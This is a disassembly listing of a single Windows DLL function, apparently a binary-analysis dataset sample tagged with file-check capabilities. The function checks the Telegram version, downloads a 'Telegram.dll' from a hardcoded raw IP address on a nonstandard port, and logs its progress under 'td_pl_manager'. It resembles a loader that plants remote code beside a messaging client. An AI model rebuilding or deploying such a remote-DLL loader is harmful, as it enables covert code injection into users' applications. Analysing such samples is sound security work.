Function at 0x1000e9c0
Capabilities:
Check if file exists
Get file size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002465b
mov eax, dword fs:[0]
push eax
sub esp, 0xec
mov eax, dword [0x10033008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0xa4]
mov esi, dword [ebp + 0xc]
xor eax, eax
push eax
push 0x1002d3b8
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0x90], 7
mov dword [ebp - 0x94], 0
mov word [ebp - 0xa4], ax
call fcn.100061d0
push esi
lea eax, [ebp - 0x8c]
mov dword [ebp - 4], 0
push eax
call fcn.1000f180
mov byte [ebp - 4], 1
cmp dword [ebp - 0x7c], 0
jne 0x1000eae7
push 0x10010f30
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Telegram_version_unsupported:
call fcn.10010ae0
mov edx, esi
mov ecx, eax
call fcn.10010d20
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov edx, esi
lea ecx, [ebp - 0xd4]
call fcn.10005cb0
mov byte [ebp - 4], 2
lea eax, [ebp - 0xd4]
cmp dword [ebp - 0xc0], 0x10
cmovae eax, dword [ebp - 0xd4]
push eax
push str.td_pl_manager
push str._s_version_not_support___s
call fcn.10009c80
mov eax, dword [ebp - 0xc0]
add esp, 0xc
cmp eax, 0x10
jb 0x1000eac7
inc eax
push eax
push dword [ebp - 0xd4]
call fcn.10006900
mov dword [ebp - 0xc0], 0xf
mov dword [ebp - 0xc4], 0
mov byte [ebp - 0xd4], 0
jmp 0x1000f0e7
push 0x1d
push str.https:__103.255.176.176:28992
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x30], 0xf
mov dword [ebp - 0x34], 0
mov byte [ebp - 0x44], 0
call fcn.10006400
lea eax, [ebp - 0x8c]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x74]
call fcn.10011110
add esp, 4
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 4
call fcn.10005ad0
push str.Telegram.dll.
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xd4]
call fcn.100070d0
add esp, 4
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 6
push ecx
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100111f0
add esp, 0xc
mov eax, dword [ebp - 0xc0]
cmp eax, 0x10
jb 0x1000eb76
inc eax
push eax
push dword [ebp - 0xd4]
call fcn.10006900
mov dword [ebp - 0xc0], 0xf
mov dword [ebp - 0xc4], 0
mov byte [ebp - 0xd4], 0
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0xe0]
cmp eax, 0x10
jb 0x1000ebad
inc eax
push eax
push dword [ebp - 0xf4]
call fcn.10006900
lea eax, [ebp - 0x74]
mov dword [ebp - 0xe0], 0xf
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0xe4], 0
push eax
lea eax, [ebp - 0x5c]
mov byte [ebp - 0xf4], 0
push eax
call fcn.10009210
add esp, 0xc
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000ed65
cmp dword [ebp - 0x1c], 0
je 0x1000ed65
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
push 0
cmovae eax, dword [ebp - 0x2c]
push 0x80
push 3
push 0
push 0
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000ed65
lea eax, [ebp - 0xdc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test esi, esi
je 0x1000ec4c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xdc], 0
je 0x1000ed65
cmp dword [ebp - 0x18], 0x10
lea esi, [ebp - 0x2c]
lea ecx, [ebp - 0x2c]
cmovae esi, dword [ebp - 0x2c]
call fcn.10007210
push eax
push esi
push str.td_pl_manager
push str._s_dll_has_downloaded__path:__s_size:__d
call fcn.10009c00
add esp, 0x10
lea edx, [ebp - 0x2c]
mov ecx, edi
call fcn.10005d60
mov eax, dword [ebp - 0x48]
cmp eax, 0x10
jb 0x1000ec9c
inc eax
push eax
push dword [ebp - 0x5c]
call fcn.10006900
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], 0xf
mov dword [ebp - 0x4c], 0
mov byte [ebp - 0x5c], 0
cmp eax, 0x10
jb 0x1000ecc0
inc eax
push eax
push dword [ebp - 0x2c]
call fcn.10006900
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
cmp eax, 0x10
jb 0x1000ece4
inc eax
push eax
push dword [ebp - 0x74]
call fcn.10006900
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x60], 0xf
mov dword [ebp - 0x64], 0
mov byte [ebp - 0x74], 0
cmp eax, 0x10
jb 0x1000ed08
inc eax
push eax
push dword [ebp - 0x44]
call fcn.10006900
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x30], 0xf
mov dword [ebp - 0x34], 0
mov byte [ebp - 0x44], 0
cmp eax, 0x10
jb 0x1000ed2f
inc eax
push eax
push dword [ebp - 0x8c]
call fcn.10006900
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x78], 0xf
mov dword [ebp - 0x7c], 0
mov byte [ebp - 0x8c], 0
cmp ecx, 8
jb 0x1000f159
inc ecx
push ecx
push dword [ebp - 0xa4]
call fcn.100068a0
jmp 0x1000f159
lea ecx, [ebp - 0xf4]
call fcn.10005a30
push str.localupload.exe
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xbc]
call fcn.100070d0
add esp, 4
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0xe0]
cmp eax, 0x10
jb 0x1000eda5
inc eax
push eax
push dword [ebp - 0xf4]
call fcn.10006900
cmp dword [ebp - 0xa8], 0x10
lea eax, [ebp - 0xbc]
mov dword [ebp - 0xe0], 0xf
cmovae eax, dword [ebp - 0xbc]
push eax
mov dword [ebp - 0xe4], 0
mov byte [ebp - 0xf4], 0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000ef0c
push str.td_pl_manager
push str._s_local_version_skip_download
call fcn.10009c80
add esp, 8
mov ecx, edi
push 0
call fcn.10005ec0
mov eax, dword [ebp - 0xa8]
cmp eax, 0x10
jb 0x1000ee16
inc eax
push eax
push dword [ebp - 0xbc]
call fcn.10006900
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xa8], 0xf
mov dword [ebp - 0xac], 0
mov byte [ebp - 0xbc], 0
cmp eax, 0x10
jb 0x1000ee43
inc eax
push eax
push dword [ebp - 0x5c]
call fcn.10006900
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], 0xf
mov dword [ebp - 0x4c], 0
mov byte [ebp - 0x5c], 0
cmp eax, 0x10
jb 0x1000ee67
inc eax
push eax
push dword [ebp - 0x2c]
call fcn.10006900
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
cmp eax, 0x10
jb 0x1000ee8b
inc eax
push eax
push dword [ebp - 0x74]
call fcn.10006900
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x60], 0xf
mov dword [ebp - 0x64], 0
mov byte [ebp - 0x74], 0
cmp eax, 0x10
jb 0x1000eeaf
inc eax
push eax
push dword [ebp - 0x44]
call fcn.10006900
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x30], 0xf
mov dword [ebp - 0x34], 0
mov byte [ebp - 0x44], 0
cmp eax, 0x10
jb 0x1000eed6
inc eax
push eax
push dword [ebp - 0x8c]
call fcn.10006900
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x78], 0xf
mov dword [ebp - 0x7c], 0
mov byte [ebp - 0x8c], 0
cmp eax, 8
jb 0x1000f159
inc eax
push eax
push dword [ebp - 0xa4]
call fcn.100068a0
jmp 0x1000f159
cmp dword [ebp - 0x18], 0x10
lea ecx, [ebp - 0x2c]
lea eax, [ebp - 0x5c]
cmovae ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x48], 0x10
push ecx
cmovae eax, dword [ebp - 0x5c]
push eax
push str.td_pl_manager
push str._s_dll_start_downloading_src:__s_dst:__s
call fcn.10009c80
add esp, 0x10
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.1000f2f0
test al, al
jne 0x1000ef93
cmp dword [ebp - 0x78], 0x10
lea eax, [ebp - 0x8c]
cmovae eax, dword [ebp - 0x8c]
push eax
push str.td_pl_manager
push str._s_dll_download_failed_version_suffix:__s_try_again
call fcn.10009c80
add esp, 0xc
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.1000f2f0
test al, al
je 0x1000f024
cmp dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
push str.td_pl_manager
push str._s_download_dll_path:__s
call fcn.10009c00
add esp, 0xc
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0xd4]
call fcn.10005d60
mov esi, eax
lea eax, [ebp - 0xa4]
cmp eax, esi
je 0x1000f00c
mov eax, dword [ebp - 0x90]
cmp eax, 8
jb 0x1000efe3
inc eax
push eax
push dword [ebp - 0xa4]
call fcn.100068a0
xor eax, eax
mov dword [ebp - 0x90], 7
push esi
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x94], 0
mov word [ebp - 0xa4], ax
call fcn.100062d0
mov eax, dword [ebp - 0xc0]
cmp eax, 8
jb 0x1000f024
inc eax
push eax
push dword [ebp - 0xd4]
call fcn.100068a0
mov eax, dword [ebp - 0xa8]
cmp eax, 0x10
jb 0x1000f03c
inc eax
push eax
push dword [ebp - 0xbc]
call fcn.10006900
mov eax, dword [ebp - 0x48]
mov byte [ebp - 0xbc], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0xf
cmp eax, 0x10
jb 0x1000f069
inc eax
push eax
push dword [ebp - 0x5c]
call fcn.10006900
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
cmp eax, 0x10
jb 0x1000f08d
inc eax
push eax
push dword [ebp - 0x2c]
call fcn.10006900
mov eax, dword [ebp - 0x60]
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
cmp eax, 0x10
jb 0x1000f0b1
inc eax
push eax
push dword [ebp - 0x74]
call fcn.10006900
mov eax, dword [ebp - 0x30]
mov byte [ebp - 0x74], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
cmp eax, 0x10
jb 0x1000f0d5
inc eax
push eax
push dword [ebp - 0x44]
call fcn.10006900
mov byte [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov eax, dword [ebp - 0x78]
cmp eax, 0x10
jb 0x1000f0fc
inc eax
push eax
push dword [ebp - 0x8c]
call fcn.10006900
mov byte [ebp - 4], 0xf
xor eax, eax
mov dword [edi + 0x14], 7
mov dword [edi + 0x10], 0
mov word [edi], ax
mov ecx, dword [ebp - 0x90]
cmp ecx, 8
jae 0x1000f145
mov eax, dword [ebp - 0x94]
add eax, 1
je 0x1000f14d
add eax, eax
push eax
lea eax, [ebp - 0xa4]
push eax
push edi
call dword [sym.imp.VCRUNTIME140.dll_memmove]
mov ecx, dword [ebp - 0x90]
add esp, 0xc
jmp 0x1000f14d
mov eax, dword [ebp - 0xa4]
mov dword [edi], eax
mov eax, dword [ebp - 0x94]
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], ecx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100127b8
mov esp, ebp
pop ebp
ret 0xc